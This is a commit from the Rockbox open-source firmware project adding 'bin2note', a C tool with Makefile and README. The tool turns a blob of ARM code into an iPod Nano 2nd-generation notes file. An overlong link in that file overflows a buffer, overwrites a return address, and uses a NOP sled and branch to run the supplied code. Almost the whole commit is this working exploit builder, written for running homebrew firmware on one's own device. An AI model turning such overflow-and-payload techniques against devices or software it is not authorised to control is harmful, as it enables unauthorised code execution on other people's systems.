First commit of "bin2note" utility for exploiting the Notes buffer overflow on the 2nd generation Nano.

git-svn-id: svn://svn.rockbox.org/rockbox/trunk@21842 a1c6a512-1295-4272-9138-f99709370657

3 files changed, 208 insertions, 0 deletions

diff --git a/utils/ipod/bin2note/Makefile b/utils/ipod/bin2note/Makefile
new file mode 100644
index 0000000000..b5fd564d0a
--- /dev/null
+++ b/utils/ipod/bin2note/Makefile
@@ -0,0 +1,16 @@
+#             __________               __   ___.
+#   Open      \______   \ ____   ____ |  | _\_ |__   _______  ___
+#   Source     |       _//  _ \_/ ___\|  |/ /| __ \ /  _ \  \/  /
+#   Jukebox    |    |   (  <_> )  \___|    < | \_\ (  <_> > <  <
+#   Firmware   |____|_  /\____/ \___  >__|_ \|___  /\____/__/\_ \
+#                     \/            \/     \/    \/            \/
+# $Id$
+#
+
+all: bin2note
+
+bin2note: bin2note.c
+	gcc -W -Wall -o bin2note bin2note.c
+
+clean:
+	rm -f bin2note
diff --git a/utils/ipod/bin2note/README b/utils/ipod/bin2note/README
new file mode 100644
index 0000000000..40f285ccd5
--- /dev/null
+++ b/utils/ipod/bin2note/README
@@ -0,0 +1,12 @@
+bin2note
+--------
+
+bin2note implements the buffer overflow exploit documented here:
+
+http://l4n.clustur.com/index.php/Nano2G_getting_exec
+
+
+It is used to turn a blob of ARM code into an iPod notes file.  This
+ARM code will then be executed on the iPod.
+
+It is known to work on the 2nd generation Nano.
diff --git a/utils/ipod/bin2note/bin2note.c b/utils/ipod/bin2note/bin2note.c
new file mode 100644
index 0000000000..5100039962
--- /dev/null
+++ b/utils/ipod/bin2note/bin2note.c
@@ -0,0 +1,180 @@
+/***************************************************************************
+ *             __________               __   ___.
+ *   Open      \______   \ ____   ____ |  | _\_ |__   _______  ___
+ *   Source     |       _//  _ \_/ ___\|  |/ /| __ \ /  _ \  \/  /
+ *   Jukebox    |    |   (  <_> )  \___|    < | \_\ (  <_> > <  <
+ *   Firmware   |____|_  /\____/ \___  >__|_ \|___  /\____/__/\_ \
+ *                     \/            \/     \/    \/            \/
+ * $Id$
+ *
+ * bin2note - a program to insert binary code in an iPod Nano 2nd
+ *            Generation notes file
+ *
+ * Based on research by stooo, TheSeven and others.
+ *
+ * Copyright (C) 2009 Dave Chapman
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License
+ * as published by the Free Software Foundation; either version 2
+ * of the License, or (at your option) any later version.
+ *
+ * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
+ * KIND, either express or implied.
+ *
+ ****************************************************************************/
+
+#include <stdio.h>
+#include <string.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <stdint.h>
+
+#ifndef O_BINARY
+#define O_BINARY 0
+#endif
+
+static off_t filesize(int fd)
+{
+    struct stat buf;
+
+    fstat(fd,&buf);
+    return buf.st_size;
+}
+
+void write_utf16le(unsigned char* buf, int len, FILE* fp)
+{
+    int i;
+    char tmp[2];
+
+    tmp[1] = 0;
+
+    for (i=0;i<len;i++) {
+       tmp[0] = buf[i];
+       fwrite(tmp, 1, sizeof(tmp), fp);
+    }
+}
+
+void insert_link(unsigned char* buf, uint32_t pointer)
+{
+   char link[] = "<a href=\"AAAAAAA"
+                 "AAAAAAAAAAAAAAAA"
+                 "AAAAAAAAAAAAAAAA"
+                 "AAAAAAAAAAAAAAAA"
+                 "AAAAAAAAAAAAAAAA"
+                 "AAAAAAAAAAAAAAAA"
+                 "AAAAAAAAAAAAAAAA"
+                 "AAAAAAAAAAAAAAAA"
+                 "AAAAAAAAAAAAAAAA"
+                 "AAAAAAAAAAAAAAAA"
+                 "AAAAAAAAAAAAAAAA"
+                 "AAAAAAAAAAAAAAAA"
+                 "AAAAAAAAAAAAAAAA"
+                 "AAAAAAAAAAAAAAAA"
+                 "AAAAAAAAAAAAAAAA"
+                 "AAAAAAAAAAAAAAAA"
+                 "AAAAAAAAAAAAAAAA"
+                 "AAAAAAAAAAAAA%xx"
+                 "%xx%xx%xx\"></a>";
+    char tmp[32];
+    unsigned int i;
+
+    sprintf(tmp, "%%%02x%%%02x%%%02x%%%02x",
+                 pointer & 0xff,
+                 (pointer >> 8) & 0xff,
+                 (pointer >> 16) & 0xff,
+                 (pointer >> 24) & 0xff);
+
+    memcpy(link + 0x11d, tmp, 12);
+
+    /* UTF-16 little-endian BOM */
+    buf[0] = 0xff;
+    buf[1] = 0xfe;
+
+    /* UTF-16 little-endian URL */
+    for (i=0;i<strlen(link);i++) {
+       buf[i*2+2] = link[i];
+       buf[i*2+3] = 0;
+    }
+}
+
+#define MAX_NOTES_SIZE 4096
+#define MAX_PAYLOAD_SIZE (MAX_NOTES_SIZE - 0x260 - 4)
+
+int main (int argc, char* argv[])
+{
+    char* infile;
+    char* htmname;
+    int fdin,fdout;
+    unsigned char buf[MAX_NOTES_SIZE];
+    int len;
+    int n;
+    int i;
+
+    if (argc != 3) {
+        fprintf(stderr,"Usage: bin2note file.bin file.htm\n");
+        return 1;
+    }
+
+    infile=argv[1];
+    htmname=argv[2];
+
+    fdin = open(infile,O_RDONLY|O_BINARY);
+    if (fdin < 0) {
+        fprintf(stderr,"Can not open %s\n",infile);
+        return 1;
+    }
+
+    len = filesize(fdin);
+
+    if (len > MAX_PAYLOAD_SIZE) {
+        fprintf(stderr,"Payload too big!\n");
+        close(fdin);
+        return 1;
+    }
+
+    /* **** Input file is OK, now build the note **** */
+    
+    /* Insert URL at start of note */
+    insert_link(buf, 0x08640568);
+
+    /* Load code at offset 0x260 */
+    n = read(fdin,buf + 0x260,len);
+    if (n < len) {
+        fprintf(stderr,"Short read, aborting\n");
+        return 1;
+    }
+    close(fdin);
+
+    /* Fill the remaining buffer with NOPs (mov r1,r1) - 0xe1a01001 */
+    for (i=0x260 + len; i < MAX_NOTES_SIZE-4; i+=4) {
+        buf[i] = 0x01;
+        buf[i+1] = 0x10;
+        buf[i+2] = 0xa0;
+        buf[i+3] = 0xe1;
+    }
+
+    /* Finally append a branch back to our code - 0x260 in the note */
+    buf[MAX_NOTES_SIZE-4] = 0x97;
+    buf[MAX_NOTES_SIZE-3] = 0xfc;
+    buf[MAX_NOTES_SIZE-2] = 0xff;
+    buf[MAX_NOTES_SIZE-1] = 0xea;
+
+    fdout = open(htmname, O_CREAT|O_TRUNC|O_BINARY|O_WRONLY, 0666);
+    if (fdout < 0) {
+        fprintf(stderr,"Could not open output file\n");
+        return 1;
+    }
+
+    if (write(fdout, buf, sizeof(buf)) != sizeof(buf)) {
+        fprintf(stderr,"Error writing output file\n");
+        close(fdout);
+        return 1;
+    }
+
+    close(fdout);
+    return 0;
+}